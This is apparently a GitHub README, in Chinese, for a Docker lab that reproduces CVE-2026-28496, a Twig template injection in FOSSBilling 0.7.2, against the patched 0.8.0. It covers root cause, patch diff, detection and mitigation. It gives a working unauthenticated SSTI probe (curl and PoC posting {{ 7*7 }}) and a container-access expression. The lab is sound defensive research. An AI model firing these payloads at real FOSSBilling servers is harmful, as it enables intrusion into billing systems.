rootdirective-sec/CVE-2026-28496-Lab
GitHub: rootdirective-sec/CVE-2026-28496-Lab
基于 Docker 的 FOSSBilling Twig SSTI 漏洞（CVE-2026-28496）本地复现与对比验证实验环境。
Stars: 1 | Forks: 0
# CVE-2026-28496 - FOSSBilling Twig 渲染中的服务端模板注入
## 执行摘要
本仓库包含一个本地 Docker 实验环境，用于复现和验证 CVE-2026-28496，这是一个影响 FOSSBilling Twig 模板渲染行为的服务端模板注入（SSTI）漏洞。
FOSSBilling 是一个免费开源的计费和客户管理平台。0.8.0 之前的版本受到不安全的 Twig 模板渲染行为的影响，该行为可以执行提供的模板表达式。在本实验中，FOSSBilling 0.8.0 被用作已修复的对比目标。
本实验比较了两个 FOSSBilling 版本：
| 服务 | FOSSBilling 版本 | 用途 | URL |
| ------- | ------------------: | ---------------------------- | --------------------- |
| vuln | 0.7.2 | 漏洞对比目标 | http://localhost:8081 |
| patched | 0.8.0 | 修复后对比目标 | http://localhost:8082 |
本本地实验中演示的 HTTP 验证路径为：
```
Unauthenticated HTTP request in this local FOSSBilling 0.7.2 lab
→ POST /api/system/system/string_render
→ JSON body contains _tpl={{ 7*7 }}
→ vulnerable target renders the Twig expression
→ patched target does not expose the same tested API behavior
```
在漏洞目标中，API 调用返回：
```
{"result":"49","error":null}
```
在修复后的目标中，相同的请求返回：
```
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
```
本实验使用 FOSSBilling 0.7.2 和 FOSSBilling 0.8.0 验证了漏洞与修复后的 HTTP 行为差异。
本实验有意将范围限定在本地 Docker 服务内。它不会针对外部系统，也不包含 web shell、恶意软件、持久化、外部回调、数据库转储或破坏性 payload。
## 已验证事实
| 声明 | 证据 | 如何在本实验中验证 |
| ----------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------- |
| CVE-2026-28496 影响 0.8.0 之前的 FOSSBilling 版本。 | 公开的 CVE 和公告元数据确定 0.8.0 之前的 FOSSBilling 受到 Twig SSTI 的影响。 | 查看“参考”部分并比较漏洞目标和修复后目标的版本。 |
| FOSSBilling 0.7.2 被用作漏洞对比目标。 | 漏洞服务基于官方 `fossbilling/fossbilling:0.7.2` Docker 镜像构建。 | 检查 `vuln/Dockerfile` 并运行 `docker compose ps -a`。 |
| FOSSBilling 0.8.0 被用作修复后对比目标。 | 修复后的服务基于官方 `fossbilling/fossbilling:0.8.0` Docker 镜像构建。 | 检查 `patched/Dockerfile` 并运行 `docker compose ps -a`。 |
| 存在漏洞的 HTTP 路径为 `/api/system/system/string_render`。 | 漏洞目标针对 `_tpl={{ 7*7 }}` 返回包含 `result: "49"` 的 JSON。 | 运行 `python3 poc/poc.py --url http://localhost:8081`。 |
| 修复后的目标没有暴露相同的 HTTP 行为。 | 修复后的目标返回 `Unknown API call system/system/string_render`。 | 运行 `python3 poc/poc.py --url http://localhost:8082`。 |
| PoC 仅限于 HTTP。 | `poc/poc.py` 发送 HTTP POST 请求，不调用 Docker、Docker Compose、shell 命令或容器 API。 | 检查 `poc/poc.py`。 |
| 实验环境在 Docker Compose 启动期间会自动安装两个 FOSSBilling 目标。 | 一次性安装辅助容器完成设置并以状态码 0 退出。 | 运行 `docker compose ps -a` 和 `docker compose logs installer-vuln installer-patched`。 |
| 漏洞目标渲染了无害的 Twig 表达式。 | 来自 8081 端口的 HTTP 响应为 `{"result":"49","error":null}`。 | 运行漏洞 PoC 命令。 |
| 修复后的目标不会通过测试的 API 路径渲染相同的表达式。 | 来自 8082 端口的 HTTP 响应是代码为 `879` 的 JSON API 错误。 | 运行修复后的 PoC 命令。 |
## 假设与未知事项
本实验使用 FOSSBilling 0.7.2 作为漏洞对比目标，因为公开的漏洞研究指出 0.8.0 之前的 FOSSBilling 版本受此影响，且 0.7.2 是测试链中使用的最新易受攻击版本。
本实验使用 FOSSBilling 0.8.0 作为修复后的对比目标，因为公开的公告元数据指出 0.8.0 是修复后的版本。
本实验重点关注以下请求的可观察 HTTP 行为：
```
POST /api/system/system/string_render
```
带有此 JSON body：
```
{"_tpl":"{{ 7*7 }}"}
```
本实验表明，FOSSBilling 0.7.2 会通过 HTTP API 路径渲染提供的 Twig 表达式，而 FOSSBilling 0.8.0 则不提供相同的 API 调用。
本实验并未声称测试了 FOSSBilling 的每一个模板渲染功能。CVE-2026-28496 还与其他 Twig 渲染上下文相关，例如应用程序内部可用的模板渲染功能。
本实验室未演示完整的未认证远程代码执行（RCE）链。它验证了在本地 FOSSBilling 0.7.2 目标中观察到的未认证 HTTP 行为，并将其与 FOSSBilling 0.8.0 进行了比较。完整的公开链涉及超出此处展示的安全 Twig 表达式验证范围的额外 API 授权行为。
本实验不演示：
* 远程命令执行，
* 凭据提取，
* 数据库转储，
* 扩展安装，
* 任意文件写入，
* 持久化，
* web shell 上传，
* 外部回调，
* 针对非实验环境的系统的攻击，
* 或后渗透活动。
## 根本原因总结
CVE-2026-28496 的根本原因是不安全的 Twig 模板渲染。
FOSSBilling 使用 Twig 来渲染动态模板。在受影响的版本中，提供的模板字符串可以在没有足够沙箱限制的情况下传递到 Twig 渲染逻辑中。
漏洞行为可以概括为：
```
Input template string
→ FOSSBilling API receives _tpl
→ System\Api\Admin::string_render() reads _tpl
→ System\Service::renderString() receives the template string
→ Twig creates a template from the supplied string
→ Twig evaluates the expression
→ rendered output is returned in the HTTP response
```
对于这个无害的模板表达式：
```
{{ 7*7 }}
```
漏洞目标会计算表达式并返回：
```
49
```
安全问题不仅限于算术计算。算术计算只是本实验中使用的安全可见信号。
更为敏感的安全问题是，未沙箱化的 Twig 模板可能会访问模板上下文中暴露的对象和方法。公开研究描述了一种更高影响的路径，当存在合适的模板上下文对象时，Twig 模板执行可以触及应用程序内部，包括依赖注入容器。
简化的漏洞模型是：
```
Template renderer
→ unsandboxed Twig expression
→ method/object access may be possible
→ application internals may become reachable
→ sensitive services may become reachable
```
FOSSBilling 0.8.0 中修复后的设计强化了易受攻击的行为。在本实验中，修复后的目标不再暴露被测试的 API 调用：
```
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
```
安全教训是：
```
Template engines must not render user-controlled template strings in a privileged application context unless strict authorization and sandbox boundaries are enforced.
```
## 源代码分析
漏洞 HTTP 行为由 FOSSBilling 0.7.2 中的源代码路径支持。
API 方法从请求数据中接收 `_tpl` 并将其传递给系统服务渲染器。
相关的漏洞入口点：
```
public function string_render($data)
{
if (!isset($data['_tpl'])) {
error_log('_tpl parameter not passed');
return '';
}
$tpl = $data['_tpl'];
$try_render = $data['_try'] ?? false;
$vars = $data;
unset($vars['_tpl'], $vars['_try']);
return $this->getService()->renderString($tpl, $try_render, $vars);
}
```
重要的数据流是：
```
HTTP request body
→ _tpl
→ System\Api\Admin::string_render()
→ System\Service::renderString()
```
在 FOSSBilling 0.7.2 中，`renderString()` 尝试将提供的值作为模板名称加载。如果失败，它会将提供的值视为模板字符串，并将其传递给 `createTemplateFromString()`。
简化的漏洞流程：
```
public function renderString($tpl, $try_render, $vars)
{
$twig = $this->di['twig'];
try {
$template = $twig->load($tpl);
$parsed = $template->render($vars);
} catch (\Exception) {
// $twig->load throws an exception when $tpl is a raw template string
$parsed = $this->createTemplateFromString($tpl, $try_render, $vars);
}
return $parsed;
}
```
漏洞汇聚点（sink）是 `createTemplateFromString()`：
```
public function createTemplateFromString($tpl, $try_render, $vars)
{
try {
$twig = $this->di['twig'];
$template = $twig->createTemplate($tpl);
$parsed = $template->render($vars);
} catch (\Exception $e) {
$parsed = $tpl;
if (!$try_render) {
throw $e;
}
}
return $parsed;
}
```
与安全相关的源码模式是：
```
_tpl from request data
→ used as $tpl
→ passed to Twig createTemplate()
→ rendered server-side
```
这解释了漏洞实验室结果：
```
POST /api/system/system/string_render
{"_tpl":"{{ 7*7 }}"}
```
漏洞响应：
```
{"result":"49","error":null}
```
值 `49` 证明了提供的 Twig 表达式在服务端被成功执行。
安全的实验室 payload 仅使用了算术：
```
{{ 7*7 }}
```
然而，其根本原因在安全敏感性上远超算术表达式计算。在存在漏洞的渲染上下文中，Twig 模板可能会与存在于模板环境中的应用程序对象进行交互。公开研究描述了更高影响的攻击链，其中 API 上下文对象可以暴露对应用程序内部（如依赖注入容器）的访问。
源代码级别的回归测试确认了更深层次的行为：
```
FOSSBilling 0.7.2:
{{ guest.getDi() }}
→ DI_VISIBLE
FOSSBilling 0.8.0:
{{ guest.getDi() }}
→ blocked by Twig sandbox policy
```
这就是为什么该漏洞最好被理解为不安全的模板渲染，而不仅仅是一个计算器式的表达式计算 bug。
## 源码补丁总结
FOSSBilling 0.8.0 通过强化字符串渲染并移除测试到的易受攻击的 HTTP 行为，改变了受影响的行为。
在修复版本中，字符串渲染通过感知沙箱的渲染器进行路由，而不是直接使用广泛的 Twig 功能渲染任意模板字符串。
修复后的服务代码调用了一个感知沙箱的渲染器：
```
$rendered = SandboxedStringRenderer::render(
$twig,
$tpl,
$vars,
$errorMessage
);
```
沙箱渲染器创建并渲染模板，但会捕获 Twig 沙箱违规，并将其转换为受控的应用程序错误：
```
final class SandboxedStringRenderer
{
public static function render(
Environment $twig,
string $content,
array $context = [],
string $name = 'template'
): string {
try {
return $twig->createTemplate($content)->render($context);
} catch (SecurityError $e) {
throw new InformationException(
'%name% contains disallowed Twig syntax: %error%',
[
'%name%' => $name,
'%error%' => $e->getMessage(),
]
);
}
}
}
```
沙箱策略默认阻止方法和属性访问：
```
$methods = [];
$properties = [];
```
与安全相关的变更是：
```
Before:
request-controlled template string
→ Twig createTemplate()
→ render without the patched sandbox boundary
After:
template string rendering
→ SandboxedStringRenderer
→ Twig sandbox policy
→ method/property access denied by default
```
对于本实验中测试的公共 HTTP API 路径，FOSSBilling 0.8.0 没有暴露相同的受影响 API 调用：
```
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
```
这提供了两个有用的验证层：
```
HTTP behavior validation:
0.7.2 renders {{ 7*7 }} through /api/system/system/string_render.
0.8.0 does not expose the same API behavior.
Source/root-cause validation:
0.7.2 allows unsafe Twig rendering behavior.
0.8.0 introduces sandboxed string rendering and blocks method/property access.
```
实验室将这两层分开：
```
HTTP PoC result
proves the vulnerable endpoint behavior.
Source patch review
explains why unsafe Twig rendering was dangerous and how the patched version hardens it.
```
## 实验架构
该实验通过 Docker Compose 运行两个隔离的 FOSSBilling 安装。
```
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── scripts/
│ └── auto-install.sh
├── README.md
└── .gitignore
```
这两个 FOSSBilling 服务使用不同的数据库和应用程序版本：
| 服务 | 组件 | 版本 / 角色 |
| ----------------- | ------------ | ------------------------------- |
| vuln | FOSSBilling | 漏洞目标应用程序 |
| patched | FOSSBilling | 修复后目标应用程序 |
| vuln-db | MariaDB | 漏洞目标数据库 |
| patched-db | MariaDB | 修复后目标数据库 |
| installer-vuln | curl 辅助容器 | 自动安装漏洞目标 |
| installer-patched | curl 辅助容器 | 自动安装修复后目标 |
默认暴露的服务：
```
Vulnerable target: http://localhost:8081
Patched target: http://localhost:8082
```
实验使用固定版本的 FOSSBilling：
| 目标 | FOSSBilling 版本 | 预期行为 |
| --------------------- | ------------------: | --------------------------------------------------- |
| http://localhost:8081 | 0.7.2 | 通过漏洞 API 路径渲染 `{{ 7*7 }}` |
| http://localhost:8082 | 0.8.0 | 不暴露相同的漏洞 API 行为 |
安装辅助容器在 `docker compose up` 期间自动运行。它们使用本地一次性数据库凭据初始化两个 FOSSBilling 目标，然后退出。
该实验不会创建或修改漏洞 API 路由。
路由 `/api/system/system/string_render` 是由安装后的漏洞 0.7.2 目标中的 FOSSBilling 应用程序提供的。Docker 实验环境仅通过其正常的安装程序流程安装应用程序，然后向现有的应用程序 endpoint 发送 HTTP 请求。
修复后的 0.8.0 目标返回 `Unknown API call system/system/string_render`，这证实了被测试的路由行为来自应用程序版本本身，而不是实验室创建的路由。
## 要求
* Docker Desktop 或 Docker Engine
* Docker Compose v2
* Python 3
* 首次拉取 Docker 镜像期间的互联网访问权限
不需要任何 Python 第三方包。PoC 仅使用 Python 标准库模块。
## 快速开始
从干净状态启动实验环境：
```
docker compose down -v --remove-orphans
docker compose up -d --build
```
检查服务状态：
```
docker compose ps -a
```
预期运行中的服务：
```
cve-2026-28496-vuln
cve-2026-28496-patched
cve-2026-28496-vuln-db
cve-2026-28496-patched-db
```
预期已完成的安装程序服务：
```
cve-2026-28496-installer-vuln Exited (0)
cve-2026-28496-installer-patched Exited (0)
```
检查安装程序日志：
```
docker compose logs installer-vuln installer-patched
```
检查 Web 应用程序：
```
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head
```
针对漏洞目标运行 HTTP 验证：
```
python3 poc/poc.py --url http://localhost:8081
```
针对修复后目标运行 HTTP 验证：
```
python3 poc/poc.py --url http://localhost:8082
```
## PoC 用法
PoC 接受一个本地 FOSSBilling 基础 URL：
```
python3 poc/poc.py --url
```
示例：
```
python3 poc/poc.py --url http://localhost:8081
python3 poc/poc.py --url http://localhost:8082
python3 poc/poc.py --url http://127.0.0.1:8081
python3 poc/poc.py --url http://127.0.0.1:8082
```
PoC 发送此 HTTP 请求：
```
POST /api/system/system/string_render
Content-Type: application/json
```
请求 body：
```
{"_tpl":"{{ 7*7 }}"}
```
PoC 仅限 HTTP。它不调用 Docker、Docker Compose、shell 命令、WP-CLI 或容器 API。
## 预期结果
### 漏洞目标
命令：
```
python3 poc/poc.py --url http://localhost:8081
```
预期的漏洞目标信号：
```
CVE-2026-28496 HTTP validation PoC
Scope: authorized local lab target only
URL: http://localhost:8081
Endpoint: http://localhost:8081/api/system/system/string_render
Template: {{ 7*7 }}
===== HTTP response =====
status=200
content-type=application/json; charset=utf-8
{"result":"49","error":null}
===== verdict =====
VULNERABLE/REACHABLE: server rendered {{ 7*7 }} and returned 49.
```
### 修复后目标
命令：
```
python3 poc/poc.py --url http://localhost:8082
```
预期的修复后目标信号：
```
CVE-2026-28496 HTTP validation PoC
Scope: authorized local lab target only
URL: http://localhost:8082
Endpoint: http://localhost:8082/api/system/system/string_render
Template: {{ 7*7 }}
===== HTTP response =====
status=400
content-type=application/json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
===== verdict =====
PATCHED/NOT REACHABLE: target did not render the supplied template.
```
重要的区别在于：
```
FOSSBilling 0.7.2
→ renders {{ 7*7 }}
→ returns 49
FOSSBilling 0.8.0
→ does not render the supplied template through this API path
→ returns an API error
```
## 验证工作原理
验证器向 FOSSBilling API endpoint 发送单个 HTTP POST 请求：
```
/api/system/system/string_render
```
请求 body 包含一个无害的 Twig 表达式：
```
{"_tpl":"{{ 7*7 }}"}
```
预期的漏洞行为：
```
HTTP 200 OK
JSON result is "49"
```
预期的修复行为：
```
HTTP 400 Bad Request
JSON error indicates the API call is unknown or not reachable
```
这证实了存在漏洞的目标会在服务端计算提供的模板。
PoC 有意使用 `{{ 7*7 }}` 而不是破坏性 payload。目的是安全地证明技术：
```
attacker-controlled template input
+ server-side Twig evaluation
+ observable rendered output
```
为了进行更深入的源码级根本原因验证，方法访问是潜在问题的更有力证明。但是，本仓库中的公开 PoC 使用更安全的算术表达式，以避免演示高影响的攻击链。
## 使用 curl 进行手动 HTTP 复现
漏洞探测：
```
curl -i -X POST \
'http://127.0.0.1:8081/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
```
预期结果：
```
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
{"result":"49","error":null}
```
修复后探测：
```
curl -i -X POST \
'http://127.0.0.1:8082/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
```
预期结果：
```
HTTP/1.1 400 Bad Request
Content-Type: application/json
{"result":null,"error":{"message":"Unknown API call system/system/string_render","code":879}}
```
## 影响
计费和客户管理平台中的服务端模板注入具有安全敏感性，因为应用程序可能存储客户记录、计费数据、服务器凭据、支付配置和管理员控制的自动化逻辑。
演示的实验室 payload 是无害的，仅计算：
```
{{ 7*7 }}
```
然而，当模板执行可以访问应用程序对象、方法或服务容器时，这类漏洞的根本隐患可能会更加严重。
根据配置和可到达的模板上下文，潜在的现实影响可能包括：
* 信息泄露，
* 访问应用程序内部，
* 访问敏感应用程序服务，
* 修改应用程序状态，
* 以及在与合适的执行路径链式调用时导致远程代码执行。
本实验仅演示了安全的 HTTP 验证信号。它不演示凭据访问、数据库访问、扩展安装、命令执行或后渗透。
## 检测与监控
潜在的指标包括发往 FOSSBilling API endpoint 的 HTTP 请求：
```
/api/system/system/string_render
```
可疑的请求模式：
```
POST /api/system/system/string_render
Content-Type: application/json
```
可疑的请求 body 指标：
```
_tpl
{{
}}
Twig syntax
```
示例访问日志模式：
```
POST /api/system/system/string_render
```
示例 JSON payload：
```
{"_tpl":"{{ 7*7 }}"}
```
建议的监控操作：
* 检查 Web 服务器访问日志中对 `/api/system/system/string_render` 的请求。
* 检查 JSON 请求 body 中包含 `_tpl` 的请求。
* 检查包含 `{{` 和 `}}` 等 Twig 语法的请求。
* 检查包含已渲染模板输出的成功 API 响应。
* 检查可疑模板渲染尝试的失败 API 响应。
* 如果怀疑遭到利用，请检查管理员活动。
* 检查模板、电子邮件、群发邮件程序和支付适配器配置的更改。
* 检查应用程序日志中的模板渲染错误或意外的 API 调用。
高信号检测思路：
```
POST request to /api/system/system/string_render
AND request body contains "_tpl"
AND request body contains "{{"
```
另一个高信号的本地验证产物：
```
Request body:
{"_tpl":"{{ 7*7 }}"}
Response body:
{"result":"49","error":null}
```
## 缓解与补丁说明
将 FOSSBilling 升级到 0.8.0 或更高版本。
对于生产环境，请更新到最新的可用版本，而不是停留在实验对比版本上。
推荐的缓解步骤：
* 将 FOSSBilling 升级到 0.8.0 或更高版本。
* 确认安装的版本不在受影响范围内。
* 在可能的情况下，限制对管理 API 路径的公开访问。
* 检查 Web 访问日志中对 `/api/system/system/string_render` 的请求。
* 检查模板、电子邮件模板、群发邮件程序和自定义支付适配器中是否存在可疑的 Twig 语法。
* 如果怀疑遭到利用，请轮换密钥。
* 检查客户、计费、支付和服务器管理记录是否存在未经授权的访问。
* 将 WAF 规则或反向代理拦截视为临时控制措施，而不是升级的替代品。
安全工程教训：
* 不要在特权应用程序上下文中渲染不受信任的模板字符串。
* 不要将应用程序服务容器暴露给模板上下文。
* 对用户控制或管理员控制的模板功能使用沙箱模板渲染。
* 除非明确需要，否则拒绝方法和属性访问。
* 保持 API 授权失败明确并实现安全失效。
* 将模板渲染功能视为类似于代码执行的高危攻击面。
## 实用的验证命令
检查容器状态：
```
docker compose ps -a
```
检查安装程序日志：
```
docker compose logs installer-vuln installer-patched
```
检查 Web 服务：
```
curl -i http://127.0.0.1:8081 | head
curl -i http://127.0.0.1:8082 | head
```
运行漏洞 HTTP 验证：
```
python3 poc/poc.py --url http://localhost:8081
```
运行修复后 HTTP 验证：
```
python3 poc/poc.py --url http://localhost:8082
```
手动漏洞请求：
```
curl -i -X POST \
'http://127.0.0.1:8081/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
```
手动修复后请求：
```
curl -i -X POST \
'http://127.0.0.1:8082/api/system/system/string_render' \
-H 'Content-Type: application/json' \
--data '{"_tpl":"{{ 7*7 }}"}'
```
从检出的源码树中检查漏洞源码流程：
```
git checkout 0.7.2
grep -n "function string_render" -A30 src/modules/System/Api/Admin.php
grep -n "function renderString" -A70 src/modules/System/Service.php
grep -n "function createTemplateFromString" -A30 src/modules/System/Service.php
```
从检出的源码树中检查修复后的沙箱渲染器：
```
git checkout 0.8.0
grep -R "SandboxedStringRenderer" -n src/modules src/library | head -30
grep -R "\$methods = \[\]\|\$properties = \[\]" -n src/library/FOSSBilling/Twig
```
保存验证证据：
```
mkdir -p evidence
python3 poc/poc.py --url http://localhost:8081 \
| tee evidence/vulnerable-http-validation.txt
python3 poc/poc.py --url http://localhost:8082 \
| tee evidence/patched-http-validation.txt
docker compose ps -a \
| tee evidence/docker-compose-ps.txt
docker compose logs installer-vuln installer-patched \
| tee evidence/installer-logs.txt
```
检查 FOSSBilling 响应头：
```
curl -i http://127.0.0.1:8081 | grep -i 'x-fossbilling-version'
curl -i http://127.0.0.1:8082 | grep -i 'x-fossbilling-version'
```
## 清理
停止并移除容器和网络：
```
docker compose down --remove-orphans
```
移除容器、网络和数据卷：
```
docker compose down -v --remove-orphans
```
如果创建了本地证据文件，请将其移除：
```
rm -rf evidence/
```
## 安全边界
本实验仅用于本地安全研究和受控演示。
请勿对您不拥有或没有明确授权进行测试的系统运行 PoC 或手动 curl 请求。
请勿在本实验环境中使用真实的生产凭据、客户数据、支付数据、API 密钥或生产环境密钥。
预期范围仅限于本地 Docker 服务，例如：
```
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
```
PoC 是有意仅针对 HTTP 和本地范围的。它不调用 Docker、Docker Compose、shell 命令、WP-CLI 或容器 API。
本实验环境不包含用于以下目的的 payload：
* web shell 上传，
* 任意命令执行，
* 持久化，
* 横向移动，
* 凭据窃取，
* 数据库转储，
* 客户数据访问，
* 支付凭据访问，
* 或外部回调。
目标是在受控环境中演示一种特定的技术条件：
```
HTTP request
+ FOSSBilling string_render API path
+ Twig template expression
+ vulnerable target renders the expression
+ patched target does not render the expression
```
## 参考文献
* CVE 记录：CVE-2026-28496
https://www.cve.org/CVERecord?id=CVE-2026-28496
* GitHub 安全公告：GHSA-57mv-jm88-66jc
https://github.com/FOSSBilling/FOSSBilling/security/advisories/GHSA-57mv-jm88-66jc
* VulnCheck：FOSSBilling 身份验证绕过和 Twig SSTI 到未认证 RCE
https://www.vulncheck.com/blog/fossbilling-auth-bypass-ssti-rce
* FOSSBilling Docker 文档
https://docs.fossbilling.org/getting-started/docker/
* FOSSBilling GitHub 仓库
https://github.com/FOSSBilling/FOSSBilling
* FOSSBilling Docker 镜像
https://hub.docker.com/r/fossbilling/fossbilling
* Twig 文档：沙箱扩展
https://twig.symfony.com/doc/3.x/sandbox.html
标签：CISA项目, Docker, OPA, SSTI, Web安全, 安全防御评估, 漏洞复现, 版权保护, 蓝队分析, 请求拦截, 逆向工具, 靶场